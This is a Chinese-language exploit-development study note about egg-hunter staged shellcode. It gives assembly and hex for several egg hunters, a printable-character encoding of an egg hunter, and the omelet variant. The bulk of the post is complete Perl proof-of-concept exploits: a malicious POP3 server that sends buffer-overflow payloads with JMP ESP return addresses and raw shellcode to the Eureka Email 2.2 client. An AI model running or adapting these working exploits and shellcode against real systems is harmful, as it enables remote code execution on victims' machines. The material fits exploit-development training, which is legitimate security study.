寻找复活节彩蛋egg huting 学习

来源:互联网 发布:GTA5无法连接网络 编辑:程序博客网 时间:2024/04/27 22:17

寻蛋技术是 Staged shellcode 技术的一种

寻蛋 是利用一小段代码 来在内存中寻找真正的(代码尺寸较大的)shellcode(the  egg)的技术。

也就是是   利用好一小段代码被执行,然后找到真正的shellcode并且执行

3个前置条件:

1)必须能够跳转(jmp call push/ret)并且执行一些shellcode。这时有效的缓冲区内存可以相对小一些,以为这时只需要保存那些寻蛋代码(egg hunter)

寻蛋代码必须被防止在预先设定的位置,这样才能控制代码可靠地跳转到寻蛋代码然后执行寻蛋代码

2)最终要执行shellcode必须在内存的某个位置(堆,栈)存在

3)必须最终要执行的shellcode的前面放置 唯一标识。最初执行的shellcode(寻蛋代码)将逐字节的搜寻内存来寻找这个标识。

找到后jmp call 指令开始执行跟在标志后的代码。

遇到问题: 1 一段时间 CPU 占用   2经过很长时间,shellcode才能开始执行


技术基础:

1)用到的标识是唯一的(通常前4个字节来定义标识,然后把两个连续的标识8字节放在真正的shellcode前面)

2)对于特定的exploit  ,  需要测试哪个内存搜索技术可以工作(eg: NTAccessCheckAndAuditAlarm)

3)  不同的技术需要不同大小的存储空间来存储寻蛋代码:

1 利用SEH 的寻蛋 需要大约60字节,

00401580 >   /EB 21            jmp Xtestexpl.004015A300401582     |59               pop ecx00401583     |B8 70616E64      mov eax,0x646E617000401588     |51               push ecx00401589     |6A FF            push -0x10040158B     |33DB             xor ebx,ebx0040158D     |64:8923          mov dword ptr fs:[ebx],esp00401590     |6A 02            push 0x200401592     |59               pop ecx00401593     |8BFB             mov edi,ebx00401595     |F3:AF            repe scas dword ptr es:[edi]00401597     |75 07            jnz Xtestexpl.004015A000401599     |FFE7             jmp edi0040159B     |66:81CB FF0F     or bx,0xFFF004015A0     |43               inc ebx004015A1    ^|EB ED            jmp Xtestexpl.00401590004015A3     \E8 DAFFFFFF      call testexpl.00401582004015A8      6A 0C            push 0xC004015AA      59               pop ecx004015AB      8B040C           mov eax,dword ptr ss:[esp+ecx]004015AE      B1 B8            mov cl,0xB8004015B0      830408 06        add dword ptr ds:[eax+ecx],0x6004015B4      58               pop eax004015B5      83C4 10          add esp,0x10004015B8      50               push eax004015B9      33C0             xor eax,eax004015BB      C3               retn


EB 21 59 B8 70 61 6E 64 51 6A FF 33 DB 64 89 23 6A 02 59 8B FB F3 AF 75 07 FF E7 66 81 CB FF 0F
43 EB ED E8 DA FF FF FF 6A 0C 59 8B 04 0C B1 B8 83 04 08 06 58 83 C4 10 50 33 C0 C3



2 利用IsBadReadPtr 需要37字节 ,

3 NtDisplayString 需要32字节(NT核心) 

4 NTAccessCheckAndAuditAlarm寻蛋

L000:  or dx,0xFFFL001:  inc edx  push edx  push 0x43                 ;这里0x43则表示使用NtDisplayString 0x2 表示NtAccessCheckAndAuditAlarm  pop eax  int 0x2E  cmp al,0x5                ;check 0xc0000005 == ACCESS_VIOLATION  pop edx  je L000  mov eax,0x50905090        ;this is the egg  mov edi,edx  scas dword ptr es:[edi]  jnz L001  scas dword ptr es:[edi]  jnz L001  jmp edi
66 81 CA FF 0F 42 52 6A 0258 CD 2E 3C 05 5A 74 EF B8 70 61 6e 64 8B FA AF 75 EA AF 75 E7 FF E7
\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x70\x61\x6e\x64\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7

70 61 6E 64   ->   pand


具体采用哪种寻蛋方案 主要取决于: 1 运行寻蛋代码所需要的 缓冲区大小    2你需要测试选用的搜索内存的技术是否能在您的机器上和你要利用的exploit上正常工作


什么情况下用这种技术呢?   1)我们插入shellcode  某一部分变了,2)不知道要NOP多少字节才放入shellcode


!mona egg -t pand

产生  egg hunter code


举个例子: eureka-email   Version 2.2

pop3简介:  http://baike.baidu.com/view/5404.htm?fr=aladdin#3_7

软件  下载地址:  http://www.eureka-email.com/VersionHistory.html


配置如下:


普通的POC (没有任何阻力的情况下):

use Socket;#Log data, 条目 109#地址=7DCFD8E4#消息=Found  JMP ESP at 0x7dcfd8e4     Module:  C:\WINDOWS\system32\SHELL32.dll    my $junk="\x41" x 709;    my $ret = pack('V',0x7DCFD8E4); #jump to ESP - run  !pvefindaddr j -r ESP -n  to find an address    my $shellcode=("\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"."\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"."\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"."\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"."\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"."\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"."\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"."\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"."\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"."\x53"."\x68\x64\x61\x30\x23"."\x68\x23\x50\x61\x6E"."\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8");    my $payload=$junk.$ret.$shellcode;my $port = 110;my $proto = getprotobyname('tcp');socket(SERVER,PF_INET,SOCK_STREAM,$proto);my $paddr = sockaddr_in($port,INADDR_ANY);bind(SERVER,$paddr);listen(SERVER,SOMAXCONN);print "[+] Listenning on tcp port 110 [POP3]... \n";print "Configure Eureka Mail Client to connect to this host\n";my $client_addr;if ($client_addr = accept(CLIENT,SERVER)) {print "[+] Client Connected.\n";while (1) {#POP服务器使用应答对此回应,“+OK”表示命令成功,"-ERR"表示命令失败,后面是简单的文字说明,#例如"+OK Password required for Bob" 表示USER命令成功执行,需要客户输入密码进行认证print CLIENT "-ERR".$payload."\n";print "    ->Sent ".length($payload)." bytes\n";}}close CLIENT;print "Connection closed\n";

今天要主要的内容 构造的POC如下:

如果shellcode 的地址会变 或者shellcode大小 很小,那么就要用到今天学习的  egg hunting 技术了

简单egghunting 如下:


还有漏洞的: 这里shellcode因为在 .data 所以可以搜索到,如果shellcode在堆呢 ,edx太大直接就跳过搜索shellcode的位置了

use Socket;#Log data, 条目 109#地址=7DCFD8E4#消息=Found  JMP ESP at 0x7dcfd8e4     Module:  C:\WINDOWS\system32\SHELL32.dll    my $junk="\x41" x 709;    my $ret = pack('V',0x7DCFD8E4); #jump to ESP - run  !pvefindaddr j -r ESP -n  to find an address        my $egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A".     "\x02".    "\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".    "\x70\x61\x6e\x64".    "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7");    my $padding = "\x42"x 1000;    my $shellcode=("\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"."\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"."\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"."\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"."\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"."\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"."\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"."\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"."\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"."\x53"."\x68\x64\x61\x30\x23"."\x68\x23\x50\x61\x6E"."\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8");    my $payload=$junk.$ret.$egghunter.$padding."pandpand".$shellcode;my $port = 110;my $proto = getprotobyname('tcp');socket(SERVER,PF_INET,SOCK_STREAM,$proto);my $paddr = sockaddr_in($port,INADDR_ANY);bind(SERVER,$paddr);listen(SERVER,SOMAXCONN);print "[+] Listenning on tcp port 110 [POP3]... \n";print "Configure Eureka Mail Client to connect to this host\n";my $client_addr;if ($client_addr = accept(CLIENT,SERVER)) {print "[+] Client Connected.\n";while (1) {#POP服务器使用应答对此回应,“+OK”表示命令成功,"-ERR"表示命令失败,后面是简单的文字说明,#例如"+OK Password required for Bob" 表示USER命令成功执行,需要客户输入密码进行认证print CLIENT "-ERR".$payload."\n";print "    ->Sent ".length($payload)." bytes\n";}}close CLIENT;print "Connection closed\n";



不停把 edx作为寻找的地址  进行递加,然后搜索  pandpand 两个蛋

(漏洞: 这里shellcode因为在 .data 所以可以搜索到,如果shellcode在堆呢 ,edx太大直接就跳过搜索shellcode的位置了,

直接调整搜索位置在 彩蛋前面一点,然才开始搜索就行了)

找到 两个蛋后,将蛋后面的shellcode 地址放入edx,最后jmp edx



有漏洞的地方总结:

1)遇到  搜索位置在彩蛋之后,

2)内存中有多份拷贝,有些拷贝损坏了(毕竟只检查前面8字节而已)

那么就需要修改  or dx,0xFFF ,使得搜索位置变为 彩蛋之前就行了







下面学习 给 

Egghunter 加密解密  去除掉bad characters:


这里选用  NtDisplayString /   NtAccessCheckAndAuditAlarm 进行编码

L000:  or dx,0xFFFL001:  inc edx  push edx  push 0x43                 ;这里0x43则表示使用NtDisplayString 0x2 表示NtAccessCheckAndAuditAlarm  pop eax  int 0x2E  cmp al,0x5                ;check 0xc0000005 == ACCESS_VIOLATION  pop edx  je L000  mov eax,0x50905090        ;this is the egg  mov edi,edx  scas dword ptr es:[edi]  jnz L001  scas dword ptr es:[edi]  jnz L001  jmp edi

可以平均分为 4个字节

66 81 CA FF

0F 42 52 6A

02 58 CD 2E

3C 05 5A 74 

EF B8 70 61 

6e 64 8B FA 

AF 75 EA AF 

75 E7 FF E7

以最后一行进行编码:75 e7 ff e7  翻转-》 e7 ff e7 75 反码-》18 00 18 8b  (0减去它)然后找出3个数的和等于 反码 并且只用到 \x40 \x3f \x3a \x2f 4个字母 以外的 ascii-printable 字符找到的3个值就是用在 sub eax,<...> 指令中因为解码的值要被压入栈中,所以要从最后一行开始编码。当最后一个值被压进栈中后,ESP就指向解码后的寻蛋代码的第一个字符处理第一个字节 这里是 18   3个数和为18 这里需要使和溢出 得到 18  第一个数通常使用 0x55 (85 因为85x 3 =255 溢出  0x20为最小空格   0x7f =127是最大 ascii-printable 字符 ) 和 0x7f之间的值,

 可以查询ASCII码表

注意下面的计算式考虑了  溢出进位了的

18-》118     5d + 5d + 5d00 -> 255     55+ 55 + 5518 -> 118    5d + 5d + 5e8b                 30 +  30 + 2bsub eax,0x5d555d30sub eax,0x5d555d30sub eax,0x5d555e2b  // 三个数相加 等于   11800188B   也就是in dword   1800188B倒数第二行:  af 75 ea af -> af ea 75 af  -> 50 15 8a 51 50 -》 70 + 70 + 6f15 -> 115 ->5c + 5c + 5d8a ->  2e + 2e + 2d51 ->  70 + 70 + 71sub eax,0x705c2e70sub eax,0x705c2e70sub eax,0x6f5d2d71   //三个数相加 等于 150158a51  也就是 150158a51倒数第三行:  6e 64 8B FA  -> fa 8b 64 6e -> 05 74 9b 9205 ->105  -> 57 + 57 +5674 -> 174 -> 7c + 7c + 7c9b ->              33+33 +3592 ->               30+30+32sub eax,0x577c3330sub eax,0x577c3330sub eax,0x567c3532 //三个数相加 等于 105749b92 -> 05749b92倒数第四行:ef b8 70 61 -> 61 70 b8 ef -> 9e 8f 47 119e ->              34 + 34 + 368f ->               2f + 2f +3047 ->147->   6d + 6d + 6c11 -> 111 -> 5b + 5b + 5bsub eax,0x342f6d5bsub eax,0x342f6d5bsub eax,0x36306c5b // 三个数相加 等于 9e8f 4711倒数第五行: 3c 05 5a 74 -> 74 5a 05 3c -> 8b a5  fa c4sub eax,0x30305342sun eax,0x30305341sub eax.0x2b455441//三个数相加等于8b a5  fa c4 倒数第六行: 02 58 CD 2E -> 2e cd 58 02 -> d1 32 a7 fesub eax,0x46663054sub eax,0x46663055sub eax,0x44664755 //三个数相加等于   d132a7fe倒数第七行: 0F 42 52 6A -> 6a 52 42 0f -> 95 ad bd f1sub eax,0x31393e50sub eax,0x32393e50sub eax,323b4151最后一行:sub eax,0x55703533sub eax,0x55702533sub eax,0x55552434上面这些代码块前面还要放置 把 eax清0 的代码and eax,554e4d4aand eax,2a313235 // 也就是7f7f7f7f   两个5字节指令    (25 4A 4D 4E 55 25 35 32 31 2A)


每个块前面还必须增加 push eax,把结果压栈

每个块大小为  10(eax清零) + 15(用于解码)+ 1(push eax ) = 26 字节  8个块 占用208字节

将  egg hunter 放入  栈中,它自己本身马上要运行到栈地址了 下面为上面的二进制码


25 4A 4D 4E 55 25 35 32 31 2A 2D 30 5D 55 5D 2D 30 5D 55 5D 2D 2B 5E 55 5D 50 25 4A 4D 4E 55 25
35 32 31 2A 2D 70 2E 5C 70 2D 70 2E 5C 70 2D 71 2D 5D 6F 50 25 4A 4D 4E 55 25 35 32 31 2A 2D 30
33 7C 57 2D 30 33 7C 57 2D 32 35 7C 56 50 25 4A 4D 4E 55 25 35 32 31 2A 2D 5B 6D 2F 34 2D 5B 6D
2F 34 2D 5B 6C 30 36 50 25 4A 4D 4E 55 25 35 32 31 2A 2D 42 53 30 30 2D 41 53 30 30 2D 41 54 45
2B 50 25 4A 4D 4E 55 25 35 32 31 2A 2D 54 30 66 46 2D 55 30 66 46 2D 55 47 66 44 50 25 4A 4D 4E
55 25 35 32 31 2A 2D 50 3E 39 31 2D 50 3E 39 32 2D 51 41 3B 32 50 25 4A 4D 4E 55 25 35 32 31 2A
2D 33 35 70 55 2D 33 25 70 55 2D 34 24 55 55 50

这里会遇到  edx 过大 跳过了 shellcode的情况

再加一条  and  edx,0     还要注意 长度    POC:

use Socket;    #Log data, 条目 109  #地址=7DCFD8E4  #消息=Found  JMP ESP at 0x7dcfd8e4     Module:  C:\WINDOWS\system32\SHELL32.dll      my $junk="\x41" x 709;      my $ret = pack('V',0x7DCFD8E4); #jump to ESP - run  !pvefindaddr j -r ESP -n  to find an address            my $egghunter = ("\x61\x61\x61\x61\x61\x61\x61\x61"."\x25\x4A\x4D\x4E\x55"."\x25\x35\x32\x31\x2A".#eax清零"\x2D\x30\x5D\x55\x5D"."\x2D\x30\x5D\x55\x5D"."\x2D\x2B\x5E\x55\x5D"."\x50"."\x25\x4A\x4D\x4E\x55"."\x25\x35\x32\x31\x2A".#eax清零"\x2D\x70\x2E\x5C\x70"."\x2D\x70\x2E\x5C\x70"."\x2D\x71\x2D\x5D\x6F"."\x50"."\x25\x4A\x4D\x4E\x55"."\x25\x35\x32\x31\x2A".#eax清零"\x2D\x30\x33\x7C\x57"."\x2D\x30\x33\x7C\x57"."\x2D\x32\x35\x7C\x56"."\x50"."\x25\x4A\x4D\x4E\x55"."\x25\x35\x32\x31\x2A".#eax清零"\x2D\x5B\x6D\x2F\x34"."\x2D\x5B\x6D\x2F\x34"."\x2D\x5B\x6C\x30\x36"."\x50"."\x25\x4A\x4D\x4E\x55"."\x25\x35\x32\x31\x2A".#eax清零"\x2D\x42\x53\x30\x30"."\x2D\x41\x53\x30\x30"."\x2D\x41\x54\x45\x2B"."\x50"."\x25\x4A\x4D\x4E\x55"."\x25\x35\x32\x31\x2A".#eax清零"\x2D\x54\x30\x66\x46"."\x2D\x55\x30\x66\x46"."\x2D\x55\x47\x66\x44"."\x50"."\x25\x4A\x4D\x4E\x55"."\x25\x35\x32\x31\x2A".#eax清零"\x2D\x50\x3E\x39\x31"."\x2D\x50\x3E\x39\x32"."\x2D\x51\x41\x3B\x32"."\x50"."\x25\x4A\x4D\x4E\x55"."\x25\x35\x32\x31\x2A".#eax清零"\x2D\x33\x35\x70\x55"."\x2D\x33\x25\x70\x55"."\x2D\x34\x24\x55\x55"."\x50"."\x83\xE2\x01");  //增加一条and edx,0x1  将edx变小    my $padding = "\x42"x 1000;        my $shellcode=("\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C".  "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53".  "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B".  "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95".  "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59".  "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A".  "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75".  "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03".  "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB".  "\x53".  "\x68\x64\x61\x30\x23".  "\x68\x23\x50\x61\x6E".  "\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8");      my $payload=$junk.$ret.$egghunter.$padding."pandpand".$shellcode;      my $port = 110;  my $proto = getprotobyname('tcp');  socket(SERVER,PF_INET,SOCK_STREAM,$proto);  my $paddr = sockaddr_in($port,INADDR_ANY);  bind(SERVER,$paddr);  listen(SERVER,SOMAXCONN);  print "[+] Listenning on tcp port 110 [POP3]... \n";  print "Configure Eureka Mail Client to connect to this host\n";  my $client_addr;  if ($client_addr = accept(CLIENT,SERVER))   {      print "[+] Client Connected.\n";      while (1) {  #POP服务器使用应答对此回应,“+OK”表示命令成功,"-ERR"表示命令失败,后面是简单的文字说明,  #例如"+OK Password required for Bob" 表示USER命令成功执行,需要客户输入密码进行认证          print CLIENT "-ERR".$payload."\n";          print "    ->Sent ".length($payload)." bytes\n";      }  }  close CLIENT;  print "Connection closed\n";  


要想学习  Unicode 版本的  EGG HUNTING   就去 看看   http://blog.csdn.net/zcc1414/article/details/27363377


下面学习  

Omelet egg hunter````````````

不需要考虑加密代码等,直接分解shellcode即可·············

工具 下载地址:   http://www.mediafire.com/download/q5c0gbi55x91cv2/w32+SEH+omelet+shellcode+v0.2+fixed+by+UND3R.rar

NASM 文件 包括 寻蛋代码      PY脚本 包括拆分  shellcode

nasm.exe -f bin -o w32_omelet.bin w32_SEH_omlet.asm -w+error

w32_SEH_omelet.py "omelet bin file" "shellcode bin file" "output txt file"    [egg size] [marker bytes]

生成的文件包含  omelet egg hunter ,分成小块的需要放在内存某个地方的代码


w32_SEH_omelet.py  w32_omelet.bin shellcode.bin 1.txt    100 0x70616e  //"pan"

$omelet_code = "\x31\xFF\xBB\xFE\xFF\xFF\xFF\xEB\x29\x51\x64\x89\x20\xFC\xB0\x5F\xF2\xAE\x50\x89\xFE\xAD\x35\xFF\x6E\x61\x70\x83\xF8\x02\x77\x12\x59\xF7\xE9\x64\x03\x42\x08\x97\xF3\xA4\x83\xFB\xFF\x74\x25\x43\x89\xF7\x31\xC0\x64\x8B\x08\x89\xCC\x59\x83\xF9\xFF\x75\xF8\x5A\xE8\xC4\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x03\x97\xEB\xDE\x31\xC0\x64\xFF\x50\x08";#最后知道这里要NOP掉前面两个字节  xor edi,edi# These are the eggs that need to be injected into the target process # for the omelet shellcode to be able to recreate the original shellcode# (you can insert them as many times as you want, as long as each one is# inserted at least once). They are 100 bytes each:$egg0 = "\x5F\xFF\x6E\x61\x70\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06";$egg1 = "\x5F\xFE\x6E\x61\x70\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x64\x61\x30\x23\x68\x23\x50\x61\x6E\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40";#前5个字节包含了  5F = 大小 = 95    索引号 = ff-fe  标记= 6e 61 70 ->0x70616e 头部大小= 95 + 5 = 100#接下来的字节就是从原始shellcode中抠出来对的,多余字节空间用0x40填充  原来shellcode 168 字节

找寻 shellcode 位置  !mona cmp -f c:\1\egg1.bin





如果完成了就跳转到 下面继续进行················

0012CDC0   31C0                    XOR EAX,EAX
0012CDC2   64:FF50 08              CALL DWORD PTR FS:[EAX+8]

就跳转到  拷贝的字符串 即 组装成的shellcode 去执行```````````

文中所用文件已经从原来的版本中修改过,···原先的文章已经被修改了······只需要NOP掉前两个字节即可


POC:

use Socket;    #Log data, 条目 109  #地址=7DCFD8E4  #消息=Found  JMP ESP at 0x7dcfd8e4     Module:  C:\WINDOWS\system32\SHELL32.dll  my $junk="\x41" x 712;   my $ret = pack('V',0x7DCFD8E4); #jump to ESP - run  !pvefindaddr j -r ESP -n  to find an address        my $omelet_code = "\x90\x90\xBB\xFE\xFF\xFF\xFF\xEB\x29\x51\x64\x89\x20\xFC\xB0\x5F\xF2\xAE\x50\x89\xFE\xAD\x35\xFF\x6E\x61\x70\x83\xF8\x02\x77\x12\x59\xF7\xE9\x64\x03\x42\x08\x97\xF3\xA4\x83\xFB\xFF\x74\x25\x43\x89\xF7\x31\xC0\x64\x8B\x08\x89\xCC\x59\x83\xF9\xFF\x75\xF8\x5A\xE8\xC4\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x03\x97\xEB\xDE\x31\xC0\x64\xFF\x50\x08";# These are the eggs that need to be injected into the target process # for the omelet shellcode to be able to recreate the original shellcode# (you can insert them as many times as you want, as long as each one is# inserted at least once). They are 100 bytes each:my $egg0 = "\x5F\xFF\x6E\x61\x70\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06";my $egg1 = "\x5F\xFE\x6E\x61\x70\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x64\x61\x30\x23\x68\x23\x50\x61\x6E\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40";#前5个字节包含了  5F = 大小 = 95    索引号 = ff-fe  标记= 6e 61 70 ->0x70616e 头部大小= 95 + 5 = 100#接下来的字节就是从原始shellcode中抠出来对的,多余字节空间用0x40填充my $garbage = "This is a bunch of garbage"x10;    my $padding = "\x42"x 1000;      my $shellcode=("\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C".  "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53".  "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B".  "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95".  "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59".  "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A".  "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75".  "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03".  "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB".  "\x53".  "\x68\x64\x61\x30\x23".  "\x68\x23\x50\x61\x6E".  "\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8");      my $payload=$junk.$ret.$omelet_code.$padding.$egg0.$garbage.$egg1.$garbage.$shellcode;      my $port = 110;  my $proto = getprotobyname('tcp');  socket(SERVER,PF_INET,SOCK_STREAM,$proto);  my $paddr = sockaddr_in($port,INADDR_ANY);  bind(SERVER,$paddr);  listen(SERVER,SOMAXCONN);  print "[+] Listenning on tcp port 110 [POP3]... \n";  print "Configure Eureka Mail Client to connect to this host\n";  my $client_addr;  if ($client_addr = accept(CLIENT,SERVER))   {      print "[+] Client Connected.\n";      while (1) {  #POP服务器使用应答对此回应,“+OK”表示命令成功,"-ERR"表示命令失败,后面是简单的文字说明,  #例如"+OK Password required for Bob" 表示USER命令成功执行,需要客户输入密码进行认证          print CLIENT "-ERR".$payload."\n";          print "    ->Sent ".length($payload)." bytes\n";      }  }  close CLIENT;  print "Connection closed\n";  


额外提示:

mona 插件 提示 : 
Message=Want more info about a given command ?  Run !mona help <command>

compare  / cmp   寻找没有被修改的shellcode 备份,并且提示。在这里能用到

这个插件功能与以前学习的 WINDBG插件相比要好用一些



另外还可以 使用  meterpreter   详细查看: 
http://write.blog.csdn.net/postedit/21300395









举个例子: eureka-email   Version 2.2



0 0
原创粉丝点击